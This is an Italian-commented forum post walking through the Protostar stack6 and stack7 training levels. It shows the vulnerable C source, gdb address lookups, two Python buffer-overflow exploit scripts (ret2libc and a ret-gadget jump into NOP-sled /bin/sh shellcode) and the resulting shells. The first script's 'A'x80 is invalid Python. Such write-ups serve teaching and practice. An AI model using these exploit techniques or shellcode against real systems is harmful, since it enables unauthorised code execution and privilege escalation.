#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzz (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
user@protostar:~$ LD_TRACE_LOADED_OBJECTS=1 ls | grep libc
libc.so.6 => /lib/libc.so.6 (0xb7e6b000)
user@protostar:/opt/protostar/bin$ strings -a -t x /lib/libc.so.6 | grep '/bin/sh'
11f3bf /bin/sh
;otteniamo l'offset della stringa /bin/sh nella libreria libc
(gdb) info proc map
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
user@protostar:/opt/protostar/bin$ printf "0x%x\n" $((0xb7e97000 + 0x11f3bf))
0xb7fb63bf
;dopo aver visto in gdb l'indirizzo di partenza della memoria che ospita la libc, calcoliamo l'indirizzo della stringa /bin/sh
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
(gdb) find 0xb7e97000, 0xb7fd9000, "/bin/sh"
0xb7fb63bf
;con gdb andiamo a verificare l'indirizzo della stringa /bin/sh con il comando find, dopo aver ricavato l'indirizzo della system
re@REBOP:~$ pattern 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
;creiamo un pattern di 100 caratteri
user@protostar:/opt/protostar/bin$ ./stack6
input path please: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
got path Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Segmentation fault
[ 8227.484668] stack6[2585]: segfault at 37634136 ip 37634136 sp bffff7e0 error 4
pattern 0x37634136
re@REBOP:~$ pattern 0x37634136
Pattern 0x37634136 first occurrence at position 80 in pattern.
;mandiamo in Segmentation fault l'eseguibile e poi sempre con pattern ci ricaviamo l'offset sullo stack dell'indirizzo di ritorno
(gdb) p exit
$1 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>
;ricaviamo l'indirizzo della exit
user@protostar:/opt/protostar/bin$ cat /home/user/exploit.py
import struct
padding = 'A'x80
call_system = struct.pack("I", 0xb7ecffb0)
ret_of_system = struct.pack("I", 0xb7ec60c0)
bin_sh = struct.pack("I", 0xb7fb63bf)
print padding + call_system + ret_of_system + bin_sh
;creiamo il payload in questo modo : un buffer di padding per raggiungere l'indirizzo di ritorno della funzione che sovrascriviamo con l'indirizzo della system, poi sovrascriviamo il ritorno della system con l'indirizzo della exit, in modo che quando usciamo dalla shell non andiamo in Segmentation fault, e poi terminiamo il payload con l'indirizzo della stringa /bin/sh
user@protostar:/opt/protostar/bin$ (python /home/user/exploit.py; cat) | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���AAAAAAAAAAAA���XXXX�c��
whoami
root
;abbiamo la shell di root
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
char *getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xb0000000) == 0xb0000000) {
printf("bzzz (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
return strdup(buffer);
}
int main(int argc, char **argv)
{
getpath();
}
;per risolvere il livello stack7 di protostar, utilizziamo il ROPgadget
ROPgadget --binary ./stack7
0x08048362 : ret
;con ROPgadget andiamo a ricavarci l'indirizzo del gadget ret
re@REBOP:~/Desktop/FollowTheWhiteRabbit/Protostar$
cat exploit2.py
import struct
padding = 'A'*80
call_system = struct.pack("I",0x08048362)
indirizzo_shell = struct.pack("I",0xffffd0c4)
nop='\x90'*40
bin_sh = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
print padding + call_system + indirizzo_shell + nop + bin_sh
;il payload lo abbiamo costruito in questo modo : un buffer di padding per raggiungere l'indirizzo di ritorno della funzione, che sovrascriviamo con l'indirizzo del gadget ret, subito dopo scriviamo l'indirizzo della nostra shellcode che sarà quello che ret va a copiare in eip, poi appendiamo un buffer di NOP, per costruire la NOP Sled e terminiamo il payload con la nostra shellcode
re@REBOP:~/Desktop/FollowTheWhiteRabbit/Protostar$
(python exploit2.py; cat) | ./stack7
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAAAAAAAAAAAAb��������������������������������������������1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ
$ whoami
re
;abbiamo la shell
Edited by Dr. Pepper - 30/10/2023, 14:37